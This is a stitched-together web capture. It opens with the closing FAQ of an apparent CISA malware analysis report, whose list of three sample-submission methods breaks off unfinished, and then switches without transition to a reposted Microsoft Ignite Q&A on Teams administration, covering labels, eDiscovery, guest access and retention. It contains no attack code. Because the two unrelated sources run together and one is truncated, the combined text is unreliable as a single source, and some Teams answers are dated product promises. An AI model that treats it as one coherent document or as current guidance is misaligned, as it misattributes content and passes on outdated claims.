Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

Your questions from the Microsoft Ignite Ask the Experts sessions about Microsoft Teams…answered!

This article is contributed. See the original author and article here.

Last month many of you joined our Ask The Experts (ATE) sessions at Microsoft Ignite, specifically ATE-FS191 – Ask the Expert: Microsoft Teams Manageability and ATE-FS191-R1 – Ask the Expert: Microsoft Teams Security and Compliance. We promised that we would pull together the questions and answers and post them in a blog post, so here we are making good on that promise.



1. How easy is it to retrospectively apply data sensitivity labels at the Teams or channel level?


a. Once you get sensitivity labels enabled and set up to apply to Microsoft 365 groups/sites/teams, you’ll be able to edit a team to apply a label published. See: https://docs.microsoft.com/microsoft-365/compliance/sensitivity-labels-teams-groups-sites?view=o365-worldwide 



2. Are shared private channels available to all tenants now?


a. Private channels have been around for a while, but shared channels are not yet available.


 


3. Are there any plans to allow real-time reporting out of the management solution? Right now, reports are delayed until, at the very least, the meeting or call is over.


a. We will introduce this capability to Private Preview in April 2021.



4. How can an admin retrieve Teams chats if a user leaves the company and/or does a forensic audit must be done?


a. You will need to use content search and eDiscovery investigation. Note that with E5 compliance license, you can put conversations together; with basic eDiscovery, you will get the single chat messages. See: https://docs.microsoft.com/microsoftteams/ediscovery-investigation



5. Will there be a way to find which apps are being used by a team?


a. Yes, use the app usage reports by using a Graph call to enumerate apps installed per team. See: https://docs.microsoft.com/graph/api/team-list-installedapps?view=graph-rest-1.0&tabs=http


 


6. Will the Teams client installer change from being profile-based to computer-based? Customers mentioned that they had shared devices in learning spaces that they want to update, so users don’t have to wait or, in some cases, quit Teams and re-launch before class.


a. Yes, you can install per machine. See: https://docs.microsoft.com/microsoftteams/teams-for-vdi


 


7. Will we ever get the ability to delete Teams chats? Customers have mentioned that chats are really cluttered right now without this function.


a. Yes, you can do this with Retention Policies at compliance.microsoft.com. You can age conversations that are greater than a specific number of days.


 


8. Does Microsoft have a recommended Teams naming taxonomy/naming convention?


a. No, best practice is to follow your organization’s guidelines/requirements and take advantage of custom dictionary/taxonomy controls like preventing names. My personal recommendation is always leave room for organizational growth/expansion when creating your taxonomy.


 


9. Is there a way to report on activity outside the 90 days? Customers have mentioned that extended unused Teams that need to be cleaned, but identifying them might be problematic?


a. You can use the Graph API for that purpose. It can access historical data up to a year.


 


10. Are there any good resources for managing Teams sprawl, guest users, and general Teams hygiene?


a. You can restrict the creation of Teams and put a gating process in front of it. You can get creative with Forms and Flows via Power Automate to have users submit requests and then the helpdesk can create the team.


 


11. Can you manage Teams membership via a domain security group?


a. Currently, you cannot manage Teams membership using an AD security group. The Office 365 Group membership drives Teams membership, and as of right now, you cannot add nested groups to an Office 365 Group.



12. When will real-time/live analytics be available for Teams Live Events and traditional Teams meetings? It is challenging right now as an admin to troubleshoot exec calls for townhall-type sessions.


a. This feature is coming in April 2021.


 


13. Could someone give a basic overview of the purpose of the Network Planner in the Teams Admin Center?


a. The Network Planner is meant to give you an idea of what the impact of Teams will be on your network. It allows you to define all your network subnets and user personas so that you can pre-determine the network impact of Teams.


 


14. Can you talk about the controls or policies for Teams Connect regarding adding external people to channels? How are the permissions different than that for external guests today?


a. Guest access uses guest accounts that are created in the source Azure AD hosting the guest access. Teams Connect, or shared channels, does not use this method; it works by allowing federated Teams users to have access to the shared channel. Expect to have more published on this in the coming weeks.


 


15. Is there a Microsoft recommended solution or app to install in Teams to manage user requests for creating new Teams?


a. There is no Microsoft recommended solution I’m aware of for this. However, approaches I have seen work well involve using PowerApps that have users submit their Team request and then have the back-end helpdesk review the request and approve/reject the request. You can create some pre-checks in the flow to see if the team already exists, for example.


 


16. With the coming enhancements to Teams meetings recordings around captioning/speech to text, will this be discoverable with core and/or advanced eDiscovery?


a. Yes, the plan after the Stream migration of the recordings to OneDrive and SharePoint will have this functionality to retain and search with eDiscovery.


 


17. I have not seen wherein Teams policy in Admin Centre changed to OneDrive from Stream, is it global or group based?


a. It has been rolled out globally to most tenants, and you can delay it through PowerShell. The change is done via PowerShell today, it can be set on meeting policy level, and if it is not available yet in your tenant, you can follow this guide: https://docs.microsoft.com/microsoftteams/tmr-meeting-recording-change. It should, however, be default for all tenants.


 


18. We have a ton of distribution groups created on-prem and maintained with scripts. How can we use these existing groups to create and maintain Teams?


a. There are few steps you may need to consider for this: (1) Clean up the distribution groups; (2) Sync your on-prem AD with Azure AD; convert your distribution group to a Microsoft 365 group; create a team from the Microsoft 365 group. Keep in mind when you do so, the membership management will be within the converted Microsoft 365 Group after you upgrade the distribution list.


 


19. Will it be possible at some point to specify policies for a user group to block them completely from all external communication?


a. You can create an ExternalAccessPolicy and use New-CsBatchPolicyAssignmentOperation to assign it to multiple users at a time, based on a group in AAD regularly, though, it will not automatically add it to new users in the group.


 


20. We need to record all calls for our call center associates. Is there a way to make this based on group membership?


a. Compliant call recording is possible through third parties such as Verint and Numonix. I would reach out to them to check for this functionality. It should be possible in a direct routing configuration.


 


21. Is it possible to enable guest access per Team like you can in SharePoint, or is it all or nothing?


a. Yes, you can restrict guest access for certain Teams (Office 365 groups). The configuration is only performed via PowerShell. See: https://docs.microsoft.com/microsoft-365/solutions/per-group-guest-access?view=o365-worldwide


 


22. Any plans to consolidate Guest and External entities for 1:1 chat (not switching organization and minimizing end-user confusion)? Also, group chat with External entities without having to switch organizations.


a. Guest access and External access will continue to function as they are, as they each have their own use cases. However, with the new Teams Connect, you will have channels shared outside of your tenant into an external user tenant.


 


23. How come policies take forever to roll out – up to days??


a. It can take time, usually 2 – 4 hours. I would recommend periodically logging out and clearing cache, and logging back in. If it persists for more than a day, I recommend raising a ticket to Microsoft support. That seems like a very long time.


 


24. Is it possible for end-users to create a team in a different domain than the default? We would want them to be able to pick the domain; for example, teams.company.com.


a. Yes! See: https://docs.microsoft.com/microsoft-365/solutions/choose-domain-to-create-groups?view=o365-worldwide 


 


25. Are there any licensing requirements to be able to add members of a group to a private team?


a. There are no specific license requirements.


 


26. Is there a way to list all applications in Teams and which are enabled or disabled?


a. Yes, in admin.teams.microsoft.com you can see all apps and enable/disable them.


 


27. Hello, I work at a school with children from 4 till 18 years old. In the last couple of weeks, we have some students who like to start big group chats and add a lot of (younger) students. In these chats, there is a lot of swearing and cursing. We want to protect our younger students from this, and I am wondering if there is an option that can block being added to a group chat or at least give them a choice of being added. I know it is possible to disable the chat for these users, but that has a lot of impact on their schoolwork. I know it is not a specific security question, but it is a safety question to protect our (younger) students, but this can be a security question too if there is a breached account.


a. Have a look at Communication Compliance: https://docs.microsoft.com/microsoft-365/compliance/communication-compliance?view=o365-worldwide


 


28. I want to enforce MFA for all guest accounts to create secure Teams channels. Should the guest accounts have any Microsoft licenses to use MFA with their respective domain accounts?


a. You can use Conditional Access for this. The license model here is based on the licenses you have in your tenant.


 


29. SafeLinks are coming to Teams (which is good). Will the SafeLinks wrapper be visible to Teams participants? If so, some may read “protection.outlook.com” and assume the link to Microsoft.


a. SafeLinks act the same as they do in Outlook.


 


30. How can we ensure the coherence/governance of all the controls/labels we put in place? Any tool/method to use before diving into Teams configuration?


a. This is all controlled from the Compliance Center under Information Protection, where you can implement your labels and label policies.


 


31. Can we use the OCR example to check that sent pictures in Teams don’t contain privileged info?


a. You can use Advanced eDiscovery to check this.


 


32. Is it possible to prevent your users from joining Teams meetings hosted by external orgs? Currently, everyone can click on a Teams meeting link someone sent to them, and that will either load their Teams client, and they will join as authenticated or via browser as anonymous?


a. No, if the meeting or Live Event is available to “everyone”.


 


33. How is end-to-end encryption 1:1 different compared to an average Teams meeting?


a. E2EE is encrypted same “key” from start to endpoint, with no interception. Teams standard is encryption in transit and at rest so customers can access content as needed.


 


34. Is there a possibility to invite external users within channels and manage permissions on a per folder basis within the channel so that R/RW is possible within a channel and subfolders?


a. You can use granular SharePoint permissions for this.


 


35. Who can follow up on GDPR requests from attendees of a meeting held a while ago and provide them information on what data has been collected from them?


a. You can use the Data Subject Request (DSR) case tool by the compliance administrator. See: https://docs.microsoft.com/compliance/regulatory/gdpr-manage-gdpr-data-subject-requests-with-the-dsr-case-tool


 


36. What levels of staff will be able to turn on E2E encryption? IT staff generally do not lose passwords.


a. IT will have full control over what users/user groups can opt into E2EE.


 


37. Can you use a retention policy to prevent team owners from deleting a team?


a. Not at this time, but a retention policy will ensure all the files are saved for compliance purposes. Be mindful that Teams retention policies must exist on their own, independent of other Teams workloads. So, you need to have EOL policy for 1:1 chats, Microsoft 365 groups for group chat, and SPO policy for files held in teams


 


38. Is there any way to stop anyone from sharing files in Teams? We have certain locations where they don’t want to use it for file sharing.


a. Those policies are the ones set in OneDrive and SharePoint. You would need to adjust those there.


 


39. Is it possible having a person out of the company, out of my network become part of the Organizer Team in a Teams Live Event and so actively contribute?


a. Yes, that’s possible. Either as a Guest in your org, or they have an AAD account in their own org. There will also be improvements coming to this to make it easier.


 


Thank you again if you attended these sessions. We hope this recap helps you as you continue to support Teams for your customers and organizations.


 


For more information about all the exciting announcements around Microsoft Ignite, be sure to check out the recap episode on Inside Microsoft Teams. We have special guests Mary Jo Foley, Paul Thurrott, and Brad Sams in this episode that you don’t want to miss out.